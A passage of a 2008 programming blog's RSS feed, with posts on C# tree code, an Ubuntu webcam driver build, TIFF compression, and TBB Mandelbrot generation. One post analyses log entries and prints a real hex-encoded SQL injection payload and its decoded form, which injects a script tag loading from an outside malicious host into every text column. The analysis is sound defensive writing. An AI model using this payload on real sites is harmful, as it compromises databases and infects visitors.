<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">return</span> sb<span style="font-weight: bold; color: #8080c0">.</span>ToString();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">class</span> <span style="font-weight: bold; color: #2b91af">Program</span></div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: blue">static</span> <span style="font-weight: bold; color: blue">void</span> Main(<span style="font-weight: bold; color: blue">string</span>[] args)</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n1 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t1&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n2 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t2&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n3 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t3&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n4 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t4&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n5 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t5&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> n6 <span style="font-weight: bold; color: #8080c0">=</span> <span style="font-weight: bold; color: blue">new</span> <span style="font-weight: bold; color: #2b91af">TreeNode</span>(<span style="font-weight: bold; color: #a31515">&quot;t6&quot;</span>);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t1 <span style="font-weight: bold; color: #8080c0">=</span> n1<span style="font-weight: bold; color: #8080c0">.</span>Add(n2)<span style="font-weight: bold; color: #8080c0">.</span>Add(n3);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t1);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t2 <span style="font-weight: bold; color: #8080c0">=</span> n4<span style="font-weight: bold; color: #8080c0">.</span>Add(n5)<span style="font-weight: bold; color: #8080c0">.</span>Add(n6);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t2);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t3 <span style="font-weight: bold; color: #8080c0">=</span> t1<span style="font-weight: bold; color: #8080c0">.</span>Add(t2);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t3);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t4 <span style="font-weight: bold; color: #8080c0">=</span> t3<span style="font-weight: bold; color: #8080c0">.</span>Remove(n4);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t4);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">TreeNode</span> t5 <span style="font-weight: bold; color: #8080c0">=</span> t4<span style="font-weight: bold; color: #8080c0">.</span>Remove(n1);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>WriteLine(t5);</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="font-weight: bold; color: #2b91af">Console</span><span style="font-weight: bold; color: #8080c0">.</span>ReadKey();</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">&nbsp;&nbsp;&nbsp; }</div>
<div style="font-size: 10pt; background: white; margin: 0px; color: black; font-family: Courier New">}</div>
<p><!--EndFragment--></p>
<p align="left">The &quot;remove&quot; operation is pretty simple as well. Bascically, when the node to be removed is leaf, we simply remove it. When it is root, we select one of the leave nodes to be root and forming a new two level tree.</p>
<p align="left">In the next post, I will show you one of the applications of a two level tree.</p>
<p align="left">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/12/21/two-level-tree-and-its-applications-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PD1001 Webcam on Hardy Heron</title>
		<link>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/</link>
		<comments>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 01:07:18 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Webcam]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=390</guid>
		<description><![CDATA[I have an old webcam (Creative PD1001) which is not officially supported on Linux. Fortunately, Endpoints EPCAM USB Camera Driver is known to work with PD1001 on many Linux distros. 
To get the driver built on Ubuntu 8.04 however, I needed to make some minor changes to epcam.c. The kernel version I was compiling against [...]]]></description>
			<content:encoded><![CDATA[<p>I have an old webcam (Creative PD1001) which is not officially supported on Linux. Fortunately, <a href="http://ubuntuforums.org/showpost.php?p=2626919&amp;postcount=29">Endpoints EPCAM USB Camera Driver</a> is known to work with PD1001 on many Linux distros. <span id="more-390"></span></p>
<p>To get the driver built on Ubuntu 8.04 however, I needed to make some minor changes to epcam.c. The kernel version I was compiling against is 2.6.24-19-generic. To get the 0.7.3 driver build successfully, I needed to comment out #include &lt;linux/config.h&gt; and then ran</p>
<p>KBUILD_NOPEDANTIC=1 make install</p>
<p>If you do not want to setup the environment variables for the build, you could just modify the #include statements to where the kernel header files are located:</p>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/module.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/version.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/init.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/fs.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/vmalloc.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/slab.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/proc_fs.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/pagemap.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/linux/usb.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/asm/io.h&quot;</div>
<div>#include &quot;/usr/src/linux-headers-2.6.24-19-generic/include/asm/semaphore.h&quot;</div>
<p>&nbsp;</p>
<p>After the build the driver is automatically installed and when the webcam is plugged in, it should be recognized by apps such as camorama (note: /dev/video0 is automatically created when the webcam is connected).</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/10/11/pd1001-webcam-on-hardy-heron/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection Attacks Still Common</title>
		<link>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/</link>
		<comments>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 01:53:52 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[SQL injection]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=381</guid>
		<description><![CDATA[Once a while, I would comb through my server logs to see i there is any unusual activities. Among all types of &#34;attacks&#34; that I could identify within my server logs, It seems that SQL injection attacks are still the most common type of attack.
The latest wave of such attack looks like follows:

?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C4152452040
54207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F5220
73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626
A6563747320612C737973636F6C756D6E73206220776865726520612E69643D
622E696420616E6420612E78747970653D27752720616E642028622E7874797
0653D3939206F7220622E78747970653D3335206F7220622E78747970653D32
3331206F7220622E78747970653D31363729204F50454E205461626C655F437
572736F72204645544348204E4558542046524F4D20205461626C655F437572
736F7220494E544F2040542C4043205748494C4528404046455443485F53544
15455533D302920424547494E20657865632827757064617465205B272B4054
2B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777332E73733131716E2E636
E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D2727
2B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B652
0272725223E3C2F7469746C653E3C736372697074207372633D22687474703A
2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E
3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4
D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F434154452054616
26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);


&#160;
The technique used [...]]]></description>
			<content:encoded><![CDATA[<p>Once a while, I would comb through my server logs to see i there is any unusual activities. Among all types of &quot;attacks&quot; that I could identify within my server logs, It seems that SQL injection attacks are still the most common type of attack.<span id="more-381"></span></p>
<p>The latest wave of such attack looks like follows:</p>
<blockquote><blockquote>
<div><font face="Courier New">?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0&#215;4445434C4152452040</font></div>
<div><font face="Courier New">54207661726368617228323535292C4043207661726368617228343030302920</font></div>
<div><font face="Courier New">4445434C415245205461626C655F437572736F7220435552534F5220464F5220</font></div>
<div><font face="Courier New">73656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626</font></div>
<div><font face="Courier New">A6563747320612C737973636F6C756D6E73206220776865726520612E69643D</font></div>
<div><font face="Courier New">622E696420616E6420612E78747970653D27752720616E642028622E7874797</font></div>
<div><font face="Courier New">0653D3939206F7220622E78747970653D3335206F7220622E78747970653D32</font></div>
<div><font face="Courier New">3331206F7220622E78747970653D31363729204F50454E205461626C655F437</font></div>
<div><font face="Courier New">572736F72204645544348204E4558542046524F4D20205461626C655F437572</font></div>
<div><font face="Courier New">736F7220494E544F2040542C4043205748494C4528404046455443485F53544</font></div>
<div><font face="Courier New">15455533D302920424547494E20657865632827757064617465205B272B4054</font></div>
<div><font face="Courier New">2B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C73</font></div>
<div><font face="Courier New">6372697074207372633D22687474703A2F2F777777332E73733131716E2E636</font></div>
<div><font face="Courier New">E2F63737273732F6E65772E68746D223E3C2F7363726970743E3C212D2D2727</font></div>
<div><font face="Courier New">2B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B652</font></div>
<div><font face="Courier New">0272725223E3C2F7469746C653E3C736372697074207372633D22687474703A</font></div>
<div><font face="Courier New">2F2F777777332E73733131716E2E636E2F63737273732F6E65772E68746D223E</font></div>
<div><font face="Courier New">3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4</font></div>
<div><font face="Courier New">D20205461626C655F437572736F7220494E544F2040542C404320454E442043</font></div>
<div><font face="Courier New">4C4F5345205461626C655F437572736F72204445414C4C4F434154452054616</font></div>
<div><font face="Courier New">26C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</font></div>
</blockquote>
</blockquote>
<p>&nbsp;</p>
<p>The technique used by the attacker is extremely simple. It basically generates a dynamic SQL statement (HEX encoded, many converters like this <a href="http://www.dolcevie.com/js/converter.html">one</a> can be used to translate the HEX code back to ASCII):</p>
<div>
<p><font face="Courier New">DECLARE @T varchar(255)&#8217;@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name&#8217;b.name from sysobjects a&#8217;syscolumns b where a.id=b.id and a.xtype=&#8217;u&#8217; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM&nbsp; Table_Cursor INTO @T&#8217;@C WHILE(@@FETCH_STATUS=0) BEGIN exec(&#8216;update ['+@T+'] set ['+@C+']=&#8221;&quot;&gt;&lt;/title&gt;</font><font face="Courier New" color="#ff0000">&lt;script src=&quot;http://www3.ss11qn.cn/csrss/new.htm&quot;&gt;&lt;/script&gt;</font><font face="Courier New">&lt;!&#8211;&#8221;+['+@C+'] where &#8216;+@C+&#8217; not like &#8221;%&quot;&gt;&lt;/title&gt;&lt;script src=&quot;http://www3.ss11qn.cn/csrss/new.htm&quot;&gt;&lt;/script&gt;&lt;!&#8211;&#8221;&#8217;)FETCH NEXT FROM&nbsp; Table_Cursor INTO @T&#8217;@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor</font></p>
<p>&nbsp;</p>
</div>
<p>The above SQL code creates a list of all the text columns in the current database and tries to insert the highlighted scripts. The script tries to &quot;infect&quot; entries that have not already been changed so that would presumably be less suspicious.</p>
<p>The following google search:</p>
<p><a href="http://www.google.com/search?hl=en&amp;q=http%3A%2F%2Fwww0.douhunqn.cn%2Fcsrss%2Fw.js&amp;btnG=Search">http://www.google.com/search?hl=en&amp;q=http%3A%2F%2Fwww0.douhunqn.cn%2Fcsrss%2Fw.js&amp;btnG=Search</a></p>
<p>revealed that there were a large number of sites that have been affected. This is quite striking since SQL injection attacks have been around for a long time and simple techniques (e.g. stored procedures, parameterized queries, escape special characters) can prevent such exploit. But it is apparent that there are still many people there embed SQL statements in their code without taking any precautions&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/10/09/sql-injection-attacks-still-common/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TIFF Merge/Split Utility EncoderValue</title>
		<link>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/</link>
		<comments>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 01:18:30 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Merge]]></category>
		<category><![CDATA[Split]]></category>
		<category><![CDATA[TIFF]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=367</guid>
		<description><![CDATA[A While ago, I created a TIFF Merge and Split Utility that can be used to merge multiple TIFF files into a single file or split a multi-frame TIFF file into multiple single-frame TIFF files. A few people had run into some issues (e.g. &#34;Parameter is not valid.&#34; exception) using the utility. After some investigation, [...]]]></description>
			<content:encoded><![CDATA[<p>A While ago, I created a <a href="/2007/11/19/a-tiff-merge-and-split-utility/">TIFF Merge and Split Utility</a> that can be used to merge multiple TIFF files into a single file or split a multi-frame TIFF file into multiple single-frame TIFF files. <span id="more-367"></span>A few people had run into some issues (e.g. &quot;<strong><em>Parameter is not valid.</em></strong>&quot; exception) using the utility. After some investigation, it turned out that the cause seemed to be related to the EncoderValue I used (CompressionCCITT4). Apparently, it does not work on all computers.</p>
<p>To get around this issue, you will need to change the ENCODING_SCHEME (in MSUtil.cs, line 49) to</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<p style="margin: 0px;"><span style="color: olive; font-weight: bold;">EncoderValue</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>CompressionLZW</p>
</div>
<p>The draw back is that the compression ratio of this compression scheme is pretty poor and the merged TIFF file is significantly larger.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/09/20/tiff-mergesplit-utility-encodervalue/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TBB Mandelbrot Set</title>
		<link>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/</link>
		<comments>http://www.kerrywong.com/2008/09/13/tbb-mandelbrot-set/#comments</comments>
		<pubDate>Sun, 14 Sep 2008 02:35:48 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Mandelbrot]]></category>
		<category><![CDATA[Multi-threading]]></category>
		<category><![CDATA[TBB]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=352</guid>
		<description><![CDATA[In an earlier post, I created a simple prime finding program using Intel&#8217;s TBB (Thread Building Block). The main benefit of using TBB is that threading and thread synchronization mechanism are abstracted away within the TBB library so we do not need to deal with threads explicitly. Also, TBB is optimized for performance and scales [...]]]></description>
			<content:encoded><![CDATA[<p>In an <a href="/2008/06/22/a-simple-tbb-program-tbb-prime/">earlier post</a>, I created a simple prime finding program using Intel&#8217;s TBB (<a href="http://www.threadingbuildingblocks.org/">Thread Building Block</a>). The main benefit of using TBB is that threading and thread synchronization mechanism are abstracted away within the TBB library so we do not need to deal with threads explicitly. Also, TBB is optimized for performance and scales nicely as the number of processing unit increases.<span id="more-352"></span> In this post, I will show you how to create a <a href="http://en.wikipedia.org/wiki/Mandelbrot_set">Mandelbrot Set</a> generator using TBB and how to optimize the algorithm using loop unrolling.</p>
<p>The standard algorithm for generating Mandelbrot Set is extremely easy to adapt to using TBB. In fact the loops look almost identical to those in the single-threaded approach, except that the iterations are calculated within a 2D range block (<strong>blocked_range2d</strong>) instead of the entire two dimensional space.</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">void</span> <span style="color: blue; font-weight: bold;">operator</span><span style="color: rgb(128, 128, 192); font-weight: bold;">()</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">const</span> blocked_range2d<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span>size_t<span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;</span>r<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: blue; font-weight: bold;">const</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing_area drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t x <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t y <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>y <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> y_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> y_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
